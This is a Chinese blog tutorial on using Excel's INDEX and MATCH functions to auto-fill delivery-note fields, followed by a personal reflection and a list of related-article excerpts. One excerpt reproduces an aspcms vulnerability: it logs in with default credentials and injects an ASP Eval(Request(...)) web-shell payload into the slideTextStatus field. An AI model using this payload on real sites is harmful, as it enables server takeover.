【1.使用Index和Match函数自动补全内容】

目录

  • 前言
  • 如何利用函数自动填充内容
    • 效果
    • 学会使用的方法(文字图片版本)
      • 只管使用,不看原理
      • 原理解读
        • MATCH函数
        • INDEX函数
        • 组合
    • 学会使用的方法(视频版本)
  • 后言
  • 最后想说的话

前言

如何利用函数自动填充内容

先说结论,本文的目的是通过使用Excel的函数,实现只要填写任意一部分的数据,其他数据就可以自动填充。效果如下:

比如你有一个送货单如下:

在这里插入图片描述
那比如9月1号有新的送货单,一般来说我们肯定是希望少填点东西,比如我现在就希望只需要输入料号数量,然后品名规格就会自动根据你打的料号去匹配之前的数据,比如上面的图片,实现我只要打料号,品名规格就会自动填充

注意:前提是你之前要填过这一行数据,不仅可以通过料号搜规格,也可以反过来,怎么样都行

可能送货单还不是特别明显,但是如果是一个月一次的对账单,那可以想象能节省多少时间。

效果

  • 效果视频如下

学会使用的方法(文字图片版本)

如果不想仔细看文字可以跳到后面看视频版本,只要学会使用就好了,后面原理自己可以再琢磨

我打的公式是这个,可以直接复制用:

=INDEX(C:C,MATCH(B13,B:B,0))

示例:假设你有一个数据表,A列是名字,B列是ID。你想要查找ID为123的名字。你可以在C1单元格输入以下公式:

=INDEX(A:A, MATCH(123, B:B, 0))

在这里插入图片描述

只管使用,不看原理

对于这个公式,其他的东西都不用管,可以直接复制用,只要管那些参数,C:C、B13、B:B ,其他的复制直接用就行了。

  • 为什么是C:C呢?
    就是你的目标要填充的数据是规格,在第C列,所以是C:C

  • 为什么是B13
    因为我们要根据B13单元格的数据(也就是料号)去找以前的品名规格

  • B:B和B13的B保持一致就好了,如果是根据E13的数据找规格那这里E:E,表示从这个列找规格,也就是告诉电脑料号在哪一列

原理解读

MATCH 函数可以返回指定项在数组中的相对位置,而 INDEX 函数可以根据行号和列号返回数组中的具体值。这样,你就可以先使用 MATCH 找到数据在列中的位置,然后使用 INDEX 来获取对应的行中的值。

MATCH函数

=MATCH(lookup_value, lookup_column, [match_type])
其中:

lookup_value 是你要查找的值。
lookup_column 是包含查找值的列。
[match_type] 是可选参数,用于指定是否进行精确匹配(0 表示精确匹配)。

INDEX函数

=INDEX(return_column, match_result)
其中:

return_column 是包含要返回值的列。
match_result 是 MATCH 函数返回的位置。

组合

=INDEX(return_column, MATCH(lookup_value, lookup_column, 0))
这个公式会返回与 lookup_value 匹配的 return_column 中的值。

示例:假设你有一个数据表,A列是名字,B列是ID。你想要查找ID为123的名字。你可以在C1单元格输入以下公式:

=INDEX(A:A, MATCH(123, B:B, 0))

学会使用的方法(视频版本)

原理讲解视频

后言

虽然使用Excel中的函数已经可以简化我们日常生活中的很多操作了,但是它其中的函数可能不能完全满足我们日常的使用需求。这个时候就要使用VBA来进行编程了。

VBA(Visual Basic for Applications)

VBA是一种事件驱动的编程语言,专门用于Microsoft Office应用程序,如Excel、Word等。通过VBA,用户可以编写宏来自动化Excel中的重复性任务,创建自定义函数,以及开发更复杂的应用程序

日后可能可以实现这样的功能,比如我在打送货单的时候,可以使用VBA来编程,使得对账单不用自己打,它自动根据送货单来填充内容,如果VBA不够用,那就上Python。

最后想说的话

我一直认为,人活着的目的就是更好地活着。我真的不愿意看到身边的人因为一些繁重琐碎的事情花费自己太多宝贵的时间,从而没有时间陪自己的家人、提升自己、做自己想做的事情。

我的母亲就是一直说着想去旅游,但是她真的可能一天下来,除了睡觉,没有超过哪怕整十分钟是可以自己支配或者休息的。记得她手机屏幕和手机膜坏了好几天,但是都没有时间去修,终于有一次饭后,我说要用她的手机,然后赶紧花了十分钟去找人贴膜。如此种种。

她可能在日常中会花很多时间去做一些重复且零碎的事情,这些事情其实不必事必躬亲,有时电脑会比人脑更可靠,这就是科技在这一方面的意义——将人们从繁重的意义,让人们能够有时间去仰望星空、去想想自己应该怎样过好这一生。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1537366.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

31.递归、搜索、回溯之综合练习

1.找出所有子集的异或总和再求和(easy) . - 力扣(LeetCode) 题目解析 算法原理 代码 class Solution {int path;int sum;public int subsetXORSum(int[] nums) {dfs(nums, 0);return sum;}public void dfs(int[] nums, int pos…

Vue(12)——路由的基本使用

VueRouter 作用:修改地址栏路径时,切换显示匹配的组件 基本步骤(固定) 下载:下载VueRouter模块到当前工程引入安装注册创建路由对象注入,将路由对象注入到new Vue 实例中,建立关联 发现了#/表…

『功能项目』事件中心处理怪物死亡【55】

我们打开上一篇54回调函数处理死亡的项目, 本章要做的事情是用事件中心处理怪物死亡后的逻辑 首先打开之前事件中心脚本(不做更改,调用即可): using System.Collections.Generic; using UnityEngine.Events; //中介者…

fiddler抓包04_基础设置(字体/工具栏/抓包开关/清空)

课程大纲 1. 设置字体 菜单栏 “工具”(tool) - “选项”(options) - “appearance”,设置字号和字体后,点击确认,立刻生效(无需重启)。 2. 展开/收起工具栏 菜单栏 “…

MySQL 事件调度器用法解析

MySQL 事件调度器用法解析 在日常的数据库运维与开发实践中,自动化执行任务是一项至关重要的需求,它极大地提升了数据库管理的效率和准确性。这些任务可能包括清理不再需要的历史数据以释放存储空间、更新汇总或统计信息以保持数据的新鲜度,…

【两方演化博弈代码复现】:双方演化博弈的原理、概率博弈仿真、相位图、单个参数灵敏度演化

目录-基于MatLab2016b实现 一、演化博弈的原理1. 基本概念2. 参与者的策略3.演化过程 二、MATLAB 代码解读(博弈参与主体(双方)策略选择的动态演化讨程)三、MATLAB 代码解读(博弈主体随着时间策略选择的动态演化讨程&a…

启动windows更新/停止windows更新,电脑自动更新怎么彻底关闭?如何操作?

关于启动Windows更新、停止Windows更新以及彻底关闭电脑自动更新的问题,以下是根据专业角度提供的详细指导: 启动Windows更新 1.通过Windows设置启动更新: -点击开始菜单,选择“设置”(或使用快捷键WinI&a…

YOLOv8 的安装与训练

YOLOv8 是 YOLO 系列实时目标检测器中的较新迭代版本,在准确性和速度方面提供了前沿性能。基于之前 YOLO 版本的进步,YOLOv8 引入了新的特性和优化,使其成为各种应用中各种目标检测任务的理想选择。 一、安装显卡驱动与CUDA: 这个…

aspcms 获取webshell漏洞复现

1.通过访问/admin_aspcms/login.asp来到后台 使用admin 123456 登录 2.点击扩展功能-幻灯片设置-保存&#xff0c;同时进行抓包 3.修改数据包中的slideTextStatus字段&#xff0c;将其更改为 1%25><%25Eval(Request (chr(65)))%25><%25 密码为a 4.访问木马的地…

可靠性:MSTP 和 VRRP 配置实验

一、拓扑&#xff1a; 说明&#xff1a; 1、交换机 SW1、2、3 分别起 vlan 10、20&#xff0c;都以 trunk 方式连接 2、 PC1、2 分别属于 vlan 10、20 3、SW1、2 起 vlan 100 做为管理段&#xff0c;网关地址分别以 100.1.1.1/24 和 200.1.1.2/24 和 AR1相连 …

【日记】对这两天的总结,比赛止步 32 强(3338 字)

正文 这两天的事情非常多&#xff0c;一直也没来得及写。 这篇日记相当于对这几天的一个大总结吧。 2024 年 9 月 13 日 - 14 日 这两天都在培训&#xff0c;所幸最终考核卷子&#xff0c;题目出得不是很难。只给半个小时考试。我的天啊&#xff0c;我题目都没写完。 我印象中出…

即时通讯平台是什么?

即时通讯平台是一种软件或服务&#xff0c;用于提供实时的多媒体沟通和交流功能。它允许用户在任何时间、任何地点&#xff0c;通过文本、语音、图片、视频等方式与其他用户进行实时的双向交流。即时通讯平台在个人和企业间广泛应用&#xff0c;为用户提供了高效便捷的沟通工具…

虚拟机centos_7 配置教程(镜像源、配置centos、静态ip地址、Finalshell远程操控使用)

文章目录 一、下载镜像源&#xff08;准备工作&#xff09;1、开源网站2、下载 二、VMware配置centos三、配置静态IP地址四、Finalshell使用1、下载Finalshell2、连接虚拟机 五、谢谢观看&#xff01; 一、下载镜像源&#xff08;准备工作&#xff09; 1、开源网站 有许多开源…

[DDCTF2018](╯°□°)╯︵ ┻━┻

贴个脚本在这 def split_and_convert(input_string):# 检查字符串长度是否为偶数if len(input_string) % 2 ! 0:print("字符串长度不是偶数&#xff0c;最后一个字符将被丢弃。")input_string input_string[:-1] # 丢弃最后一个字符# 使用列表推导式将字符串分隔为…

中位数贪心+分组,CF 433C - Ryouko‘s Memory Note

目录 一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 二、解题报告 1、思路分析 2、复杂度 3、代码详解 一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 433C - Ryoukos Memory Note 二、解题报告 1、思路分析 改变 x 只会影响…

47.面向对象综合训练-汽车

//题目需求&#xff1a;定义数组存储3个汽车对象 //汽车的属性&#xff1a;品牌&#xff0c;价格&#xff0c;颜色 //创建三个汽车对象&#xff0c;数据通过键盘录入而来&#xff0c;并把数据存入到数组当中 1.标准的JavaBean类 public class Car {private String brand;//品…

Ubuntu使用docker安装Oracle23aiFree

Oracle 安装docker安装部署 官网&#xff1a;Oracle23AI 功能亮点 AI战略搜索 Oracle AI Vector Search专为人工智能&#xff08;AI&#xff09;工作负载而设计&#xff0c;允许您基于语义而不是关键字查询数据。 JSON 关系二元性 数据可以作为 JSON 文档或关系表透明地访问和…

『功能项目』第二职业法师的平A【57】

我们打开上一篇56制作提示主角升级面板的项目&#xff0c; 本章要做的事情是制作法师平A的魔法球触碰到Boss后让Boss受到一个无视攻击力与防御力的一个&#xff08;100&#xff09;左右随机的一个伤害值 修改脚本&#xff1a;PlayerCtrl.cs 将法师职业生成的魔法球的标签Tag设…

2019-2023(CSP-J)选择题真题解析

1&#xff0c;了解的知识 中国的国家顶级域名是&#xff08; &#xff09;【2019年CSP-J初赛选择题第一题】 A…cn B…ch C…chn D…china 【答案】&#xff1a;A 以下哪个奖项是计算机科学领域的最高奖&#xff1f;&#xff08; &#xff09;【2019年CSP-J初赛选择题第…

项目实训:CSS基本布局理解——WEB开发系列38

对CSS学习已经接近尾声&#xff0c;下面你可以对以下两道“小卡拉米”测试进行测试下CSS理解程度。 题 1&#xff1a;基于栅格布局的现代博客首页设计 题目要求&#xff1a; 创建一个博客首页布局&#xff0c;包含一个顶部导航栏、一个主要的内容区域&#xff08;左侧为博客文…